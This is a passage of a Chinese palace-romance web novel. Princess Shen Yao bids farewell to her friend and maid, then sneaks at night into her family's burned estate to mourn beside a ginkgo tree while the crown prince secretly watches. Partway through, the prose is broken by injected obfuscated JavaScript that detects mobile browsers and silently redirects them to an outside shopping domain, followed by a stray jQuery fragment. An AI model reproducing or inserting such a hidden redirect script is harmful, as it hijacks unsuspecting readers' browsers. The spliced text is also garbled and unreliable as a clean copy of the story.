“修习多久啊?”沈瑶问道。
走就走吧,她也想去自己父母生活过的地方去看看,正好可以远离这些喧嚣。
“三五年而已,一转眼就到了。要是无事,我就不叨扰公主殿下了。”戴公公说着,行了个礼,就准备离开了。
“我送送公公。”沈瑶道。
“公主客气了,公主您忙。”戴公公说道。
“思意你送一下戴公公。”沈瑶也没有坚持。
看着二人远去的背影,沈瑶转过身来,做回座位上。
“坐。”
茶杯中的水有些晃,轻抿了一口。只感受到一股凉意,从喉咙处传来,茶已经凉透了。
“对不起,我可能帮不了你了。”沈瑶将茶杯放到桌子上,一手按在另一手上,脸上挂着一抹苦笑。
“姐姐,别这么说。没想到我们这么快又要分别了,姐姐千万照顾好自己。”花容道。
伸手摸了一把眼角,感受着手上的湿润,告诫着自己不要掉下眼泪来,不要再给人带来负担。
简单整理了一下自己的情绪,重新倒入沸水,茶壶中茶叶在其中翻滚着。一股清香飘出。
将杯中的凉水倒掉,重新倒入清亮的茶汤。
“姐姐此去,短暂难以见面,妹妹再次以茶代酒,祝姐姐一路平安。”花容道。
率先拿起茶杯,饮了一口。
“借你吉言,妹妹也有照顾好自己。”沈瑶道。
轻抿了一口,茶汤入肚,热度也随之升起了一些。
“姐姐,那我就也不多叨饶了,你到后记得给我寄封信,就不用送我了,此番远去,想必要收拾的东西不少。姐姐,以后有什么需要的,也可以找我。我就在京城中静候姐姐佳音。”
花容说。
一向条理清晰,出口成章的她,语词有些混乱,几乎是想到什么说什么,可短短几句话,又无法承载她说不完的情谊。
可再不走,又怕自己无法控制快要落下的眼泪。
昔日挚友,再见不过短短几日,又有再次分离。
以前最起码知道她是安全的,此后奔赴边境,消息难通。
“放心,不会有事的。”沈瑶道,看出花容的担心。
她也查过她,她母亲几年前去了,家中姐姐前些年嫁出去了,还有一个弟弟在边境。这些年,家中还有一个年幼的弟弟,她的父亲对她也还不错。
可也只是听说,其中冷热还是只有她自己一个人知道。
“听说你弟弟在边境,需要我帮你带个信吗?”沈瑶提议。
“就告诉他万事小心吧,家中不用多挂念。”花容道,她弟弟是和她一母同胞的亲弟弟,去边境已经三年了。
“不写封信吗?”沈瑶问道。
“去那纸笔来。”沈瑶吩咐了一句。
“都说家书抵万金吗?还是留封信有个挂念。”沈瑶劝慰道。
“多谢姐姐了,还是姐姐考虑地全面。”花容道。
咽下了自己口中原本的话,她弟弟很少给她传信,心中也是常常记挂。
小厮匆匆带着纸笔前来。
沈瑶接过信,小心地收了起来。
“我弟弟单字一个川,山川河流的川。我走了,下次见,不用送我。”花容道。
看着沈瑶准备起身的动作,手上用了点儿力道,轻轻地按了一下。
“下次见。”沈瑶道。
花容离开了,就如同她来时一般,静悄悄的,走时,也十分平静。
沈瑶看着不远处的桃花一朵朵的凋落,看久了,视线好似也不在其上。
思意站在一旁,心中有些焦急。
她家公主殿下已经在这里枯坐了三四个时辰了,期间一句话都没有说,时间过得何其快,太阳也慢慢移动着,从东边移到正头上。
又从正头上移到了西边,努力散发着未尽的余晖。
“公主,天色不早了,您要吃点儿东西吗?可别熬坏了身子啊。”思意还是忍不住问出了声,这几乎已经是在这里待了一天了。
午膳都还没用呢,这样干熬着也不是事儿。
“不用了,我不饿。”沈瑶道。眼神落在思意身上,澄明的目光中多了几分复杂。
“明日一去,归期未定,这个给你。”沈瑶说着,从手中去下一个镯子,金色的镯子上雕刻着细致的花纹。
“有什么事你就去东宫,会有人帮你。”
“如果事情紧急,我房间床下有一个暗格,不过只能用一次,你看着用吧。”
思意在那复杂的眼神中直接跪了下去。
“我愿随公主殿下一同前去,无论前路如何。”思意道,肩上微微有些颤抖。
“不必了,此去山高路远。京城挺好的,你还有你的心上人再次,没必要陪我去走这一遭。”
沈瑶收敛了眼神,低头看着自己裙摆边的小块儿地方,或许这是一个悄然离开的好地方。出了这京都,天大地大,她就不信那毒解不了。
长叹一口气,猛地站了起来,“我有事出去一趟,有人找我的话就说我已经休息了,你也早些歇息吧。”沈瑶道。
回房从柜子最下面拿出了一件白衣,无甚装饰,只是纯粹的白。将多余的装饰卸了卸,乌发上只留了一根金簪。
乘着夜色,在月光下走到后院,看四下无人,翻墙而出,一系列动作一气呵成。
君澈看着熟悉的身影,微微皱了皱眉。
想起自己刚刚去找人,却得到人已经休息的答案。
可正值晚膳时间,又怎会休息得如此之早。念及不对,但也害怕她是不是有什么事情,泄露了行踪,也就假意离开了。
本打算一探究竟,刚到此,就看见那熟悉的身影轻盈的落下,如同一片花瓣似的,随着风便落到了地上。
放轻了脚步,不远不近地跟在人身后。
顺利落地,顺着街道往里走,热闹的街道慢慢变得萧索。
走到一座大门前,朱红的大门上面已经落了灰,上书的沈府的巨大金色牌匾,在月光的映照下依旧熠熠生辉。
手抚上熟悉的纹路,稍微用了些力,门便打开了。
走入门中,左右看了一眼,察觉没有什么异
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14023927|145529||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
常,谨慎地关上了门。
走入其中,青石板上铺满了落叶。古朴的大树外表上还带着些烧伤的痕迹,树皮上有些焦黑。
“好久不见,老朋友,我又来看你了。”沈瑶说道。拿起旁边的扫把,速速的扫了起来,不一会儿,树下的小片泥土堆满了小山般的落叶。
沈瑶站在树下,抬头看着。早春时节,枝桠光秃秃的,只零星的挂着些嫩芽,落叶不知是几年前的的,踩上去嘎吱作响。
索性当年那场大火后,随之下了一场大雨,这个大树才幸免遇难,现在已经有三人合抱那么粗了。
她还记得,她的母亲很喜欢这棵银杏树,幼时特别喜欢抱着她在这棵树下给她讲故事。
“你倒是不容易,日日在此风吹日晒。”
“我是不是该找个人来看护着你。”
“算了吧,要是吓到人就不好了。”
“多亏这华京多雨,要不我都不知道该怎么办才好了?”
“我是不是太唠叨了,所幸,你不会嫌我。我今天看你,下一次就不知道来是什么时候了,也算是告个别吧。”
沈瑶手摸在粗糙的树皮上,围着树绕了一周,眼神中带了些光亮,就如同跟一位多年老友的告别。
地上的落叶在风的带领下螺旋着上升,又慢慢落下,似是不舍。
君澈在外墙上看着这诡异的一幕,心中充满心疼,还有些嫉妒。
他忍了这么久,没有率先来找她。可没想到沈瑶去看树都不去看他,树有什么好看的,回头他就要在东宫种上一大片的银杏树!
沈瑶走进旁边的小屋中,一进入屋中,纷纷扬扬的灰尘便起来了,呛得人直往后退。
“咳咳。”沈瑶咳了两声,看着空气中的灰尘缓缓落下。顺手拿出靠在墙上的铁铲,走了出去。
君澈突然看见沈瑶从屋中走了出来,连忙猫在墙角处,嘴角抽了抽。怎么感觉自己跟做贼一样?
沈瑶在树的周围开始挖了起来,见人没有注意到自己,君澈再三考虑,还是决定不出去,现在出去,他要怎么解释?
还是静观其变,先看看再说。
挖了几铲子,将铲子放到一边,从中拿出了三坛酒。
“上好的桃花酿!听我娘说,这是云游的仙人送给我我父亲的,正好今天拿出来尝尝!”
“在不喝可能就没机会了。”
“虽然我母亲说是要留给我成婚的时候用的,不过那都不知道是什么时候的事了,反正我还留了两坛,想来没关系的。”沈瑶道。
夜晚空荡荡的,唯有天上的月亮不吝啬的投下光亮,给这天下中不如意的人带来一些慰籍。
将塞子打开,对着月亮举了下,今日院中的月连似乎都更圆更大了一些。
“月是故乡明”,她从未离开过着京城,也没感受到夫子所说对故乡深厚的感情。
早已无归处之人,今日在此来到这里,沈瑶懵懂间觉得自己好像有些理解了,不然为何她看着这月亮严重为何会有些模糊。
酒倒在树的周围,醇香的酒液中混杂着溅入其中一滴泪。